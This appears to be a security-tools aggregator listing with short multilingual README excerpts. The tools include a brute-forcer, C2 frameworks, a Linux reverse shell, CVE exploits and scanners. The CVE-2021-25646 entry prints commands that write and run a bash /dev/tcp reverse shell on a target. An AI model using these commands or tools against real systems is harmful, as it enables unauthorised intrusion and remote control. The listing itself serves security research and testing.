B0tN3tBrut3

B0tN3tBrut3 用于telnet和ssh的暴力破解工具，使用python编写（附带Zmap） 用法：阅读 ReadmeTelnet.md 和 ReadmeSsh.md...

pyMalleableC2

pyMalleableC2 一个用于 Cobalt Strike Malleable C2 配置文件的 Python 解释器，允许你以编程方式解析、修改、构建这些配置文件，并进行语法验证。 支持从 Cobalt Strike 4.3 版本开始的所有 Malleable C2 配置文件语法。 该工具不向后兼容早期的 Cobalt Strike 版本。 pyMalleableC2 与其他同类项目有何不同？ 1. 使用 Lark 解析配置文件，采用 eBNF 表示法。这种方法比用户自定义的正则表达式、模板引擎或类似方法要稳健得多。 2. 将配置文件转换为抽象语法树 AST，随后可以从 AST...

DBC2

DBC2 ============ 最新/当前版本: 0.2.6 作者: Arno0x0x - @Arno0x0x DBC2 DropboxC2 是一款模块化后渗透工具，包含运行在受害者机器上的代理、运行在任何机器上的控制器、PowerShell 模块，以及作为通信手段的 Dropbox 服务器。 该项目最初受出色的 Empire 框架启发，同时也是出于学习 Python 的目的。 查看此功能介绍及基本功能演示 v0.0.1： 0.2.x 版本的新特性： 该应用程序根据 GPLv3 许可证 的条款分发。 架构 功能 DBC2 主要功能： 多种存根工具（PowerShell...

socid-extractor

socidextractor Turn any public profile page into a structured account record — usernames, display names, bios, avatars, locations, joined-at dates, follower counts, external links, and the stable internal identifiers that uniquely pin an account across renames, redesigns, and deletions...

socid-extractor

socidextractor 将任意公开个人资料页面转换为结构化的账户记录——用户名、显示名称、个人简介、头像、位置、注册日期、粉丝数、外部链接，以及稳定内部标识符 ，这些标识符能在账户改名、改版和删除后依然唯一锁定该账户。 socidextractor 解析来自 130+ 平台的 HTML 页面和 API 响应，返回一个扁平且机器可读的账户字段字典。无需 API 密钥，无需无头浏览器——只需对响应文本进行一次函数调用。 为什么它有用 稳定的跨服务 ID。 获取 GAIA ID Google、Facebook UID、Yandex Public ID、Instagram pk...

PwnLnX

PwnLnX 一个高级的多线程 、多客户端 Python 反向连接 shell，用于攻击 Linux 系统。还有很多工作要做，欢迎参与开发。 免责声明 ：此反向连接 shell 仅应用于对授权系统进行合法的远程管理。未经授权或许可访问计算机网络是违法的。 📫 联系我！ 开始使用 请按照以下说明在本地机器上获取 PwnLnX 副本，并且没有任何问题。 前提条件 Python3： vidstream pyfiglet tqdm mss termcolor pyautogui pyinstaller pip3 pynput 安装 root@kitploit: 下载源代码 git clone...

foolbox

home: true heroImage: /logo.png heroText: Foolbox tagline: "Foolbox: ataques adversarios rápidos para medir la robustez de modelos de aprendizaje automático en PyTorch, TensorFlow y JAX" actionText: Comenzar → actionLink: /guide/ features: title: Rendimiento nativo details: Foolbox 3 está...

opencve

什么是 OpenCVE？ OpenCVE 是一个漏洞情报平台，帮助您高效监控和管理 CVE。 它从多个来源（MITRE、NVD、RedHat、Vulnrichment 等）聚合漏洞，并允许您按供应商、产品、严重性等进行筛选、跟踪和组织。 您可以订阅产品、接收警报、分析变更，并与团队协作——全部通过一个简单而强大的界面完成。将成员分配到 CVE 以跟踪进度（例如，分析中、风险已接受），并保持团队一致。 主要功能 📚 探索、筛选和整理 按供应商、产品、CVSS、KEV、EPSS、CWE、发布日期等筛选 CVE。 订阅供应商和产品，并通过项目和组织来组织您的监控。...

BADministration

BADministration BADministration 是什么？ BADministration 是一款从攻击视角与各类管理或运维应用程序进行交互的工具。它试图为攻防安全人员提供一种能力，用于识别并利用这些非技术性漏洞。一如既往：请用于正当目的，促进安全，并抵制应用程序的肆意传播。 抱歉使用了 python2.7，因为我发现很多厂商 API 只能在 2.7 上运行，而且我还没有足够的经验来混搭不同版本的 Python。 应用隔离（Application Propagation）...

CVE-2023-41425

CVE-2023-41425 Escribiendo uno porque el que encontré no funciona Uso root@kitploit: python3 exploit.py http://example.com/loginURL 10.10.xx.xx 9001...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...

vulmap

🌟 Vulmap - Web vulnerability scanning and verification tools Click here for the English Version Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞利用功能, 目前支持的 webapps 包括 activemq, flink, shiro, solr, struts2, tomcat, unomi, drupal, elasticsearch, fastjson, jenkins, nexus, weblogic, jboss, spring,...

TrueCalle-Bot

TrueCalle-Bot TrueCaller Python 机器人：搜索电话号码并在终端打印结果 由 hossamsalem23 制作 首先： 下载 Chrome webdriver root@kitploit: https://chromedriver.chromium.org/downloads 安装 root@kitploit: git clone https://github.com/hossamsalem23/TrueCalle-Bot cd TrueCalle-Bot/ sudo apt install python3 sudo apt install python3-p...

kimi

Kimi：攻击面发现引擎 由 💜 开发 @alechilczenko 项目背景： 该项目作为作品集的一部分，展示了进攻性安全、并发性和分布式架构的概念。 1. 介绍 Kimi：起源故事 Kimi 是什么？ 在我早期涉足进攻性安全领域时，我一直对像 Shodan 这样的搜索引擎如何从数百万设备中索引信息感到着迷。这个想法一直在我脑海中盘旋；我需要通过自己模拟来理解其背后的工程原理。 Kimi 是这种好奇心的产物。它是一个持续侦察扫描器，旨在优先分析外部攻击面暴露情况。它执行大规模、面向端口的扫描，以收集来自连接到互联网的服务的信息。 我的目标是创建一个高效的架构：线程和队列...

Packet-Sniffer

RootWire A network traffic monitor for GNU/Linux — formerly known as Packet-Sniffer. Frames are captured from one or more network interfaces with a raw socket, timestamped by the kernel itself, decoded layer by layer with the NETProtocols library, and rendered live, written to nanosecond-precisio...

C2-Blockchain

C2-Blockchain Esto es un C2 implementado sobre contratos inteligentes de Ethereum basados en el servidor de TestNet de Ropsten Para leer más sobre cómo hicimos esta prueba de concepto, consulta la serie aquí. Hemos explicado todo, desde la introducción a blockchain hasta el uso de contratos...

NoEyes

NoEyes 🔒 Chat de Terminal Seguro Chat grupal cifrado de extremo a extremo, mensajes privados y transferencia de archivos en tu terminal. El servidor es un reenviador ciego: no puede leer tus mensajes, no conoce tu nombre de usuario, no conoce la sala en la que estás y no puede relacionar dos...

GroupPolicyBackdoor

GroupPolicyBackdoor GroupPolicyBackdoor es una utilidad de Python para la manipulación y explotación de objetos de directiva de grupo GPO. Los vectores de ataque de GPO pueden conducir con mucha frecuencia a escenarios impactantes de escalada de privilegios en entornos de Active Directory. Y sin...

http-garden

The HTTP Garden The HTTP Garden es una colección de servidores y proxies HTTP configurados para ser componibles, junto con scripts para interactuar con ellos de una manera que facilita mucho la búsqueda de vulnerabilidades. Para ver algunas demostraciones interesantes de las vulnerabilidades que...

cve-2023-42115

CVE-2023-42115：漏洞利用与载荷生成脚本 本仓库包含两个 Python 脚本： 1. exploit.py ：用于利用 CVE-2023-42115 的脚本。 2. generatepayload.py ：用于生成反向 Shell 载荷的脚本。 先决条件 在运行脚本之前，请确保您的系统已安装 Python 3。 安装 1. 克隆仓库 ： root@kitploit: git clone https://github.com/isotaka134/cve-2023-42115.git cd cve-2023-42115 2. 安装依赖 ： 使用 pip 安装所需的 Python...